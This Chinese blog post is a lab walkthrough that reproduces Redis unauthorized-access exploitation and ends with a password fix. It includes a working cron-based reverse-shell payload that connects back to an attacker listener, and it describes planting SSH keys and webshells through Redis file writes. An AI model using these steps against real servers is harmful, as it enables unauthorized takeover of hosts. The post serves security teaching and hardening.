Hello,各位小伙伴大家好~
这里是复更的小编Monster~
因为不可抗因素停更了许久(才不是懒!)
之后准备更JAVA代码审计相关的内容~
今天先发一篇之前的底稿,一起来看看吧!
Part.1
环境搭建
客户端环境搭建
首先来搭建Redis客户端:
代码语言:javascript复制wget http://download.redis.io/redis-stable.tar.gz
解压下载的压缩包:
代码语言:javascript复制tar -zxf redis-stable.tar.gz
编译 redis-stable
编译完成之后,再将 src 目录下的redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了。
代码语言:javascript复制cp ./src/redis-cli /usr/bin/
尝试运行客户端:
代码语言:javascript复制Redis-cli -h
//安装完毕~
服务端环境搭建
下载Redis服务端:
代码语言:javascript复制wget http://download.redis.io/releases/redis-4.0.4.tar.gz
解压下载的压缩包:
代码语言:javascript复制tar xzf redis-4.0.4.tar.gz
编译 make:
//如果提示gcc和cc命令令未找到:/bin/sh: cc: command not found,则需要进行安装:
代码语言:javascript复制yum -y install gcc gcc-c libstdc -devel
将src目录下的redis-server和redis-cli拷贝到/usr/bin目录:
将redis.conf拷贝到/etc/目录下:
修改/etc/redis.conf配置文件
注释掉本地访问,并设置保护模式为no:
//这样才能远程访问redis服务
如果不关闭保护模式,远程访问会禁止:
通过修改后的配置文件启动redis服务:
代码语言:javascript复制redis-server /etc/redis.conf
完毕~
Part.2
漏洞复现
redis基本操作
尝试直接连接,并查看info信息:
//说明当前存在未授权访问,且可以远程访问
创建、查询、删除一个键值对:
Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:
(1)写入计划任务反弹shell
(2)写入ssh公钥获取权限
(3)写入webshell获取权限
通过计划任务反弹shell
Kali开启监听:
写入文件需要有写权限,否则报错:
写入反弹shell:
代码语言:javascript复制set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.21.141/3344
0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save
等待一分钟左右服务器成功上线:
//注意:执行ip addr等管理员命令需要指定/sbin/目录
写入ssh-keygen公钥获取权限
在kali上生成密钥对:
查看生成的公钥:
连接redis服务器,写入公钥:
设置备份路径以及文件名,写入:
通过ssh登陆目标主机:
成功~
写入webshell
这里以写入phpinfo()为例:
//用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
尝试访问,成功~
//写shell的前提是root权限,且知道绝对路径。
修复建议
修改配置文件,设置访问口令:
重启redis服务:
再次访问,则会提示权限不够:
通过口令才能进行访问,修复完毕~:
Part.3
结语
以上就是今天的全部内容啦~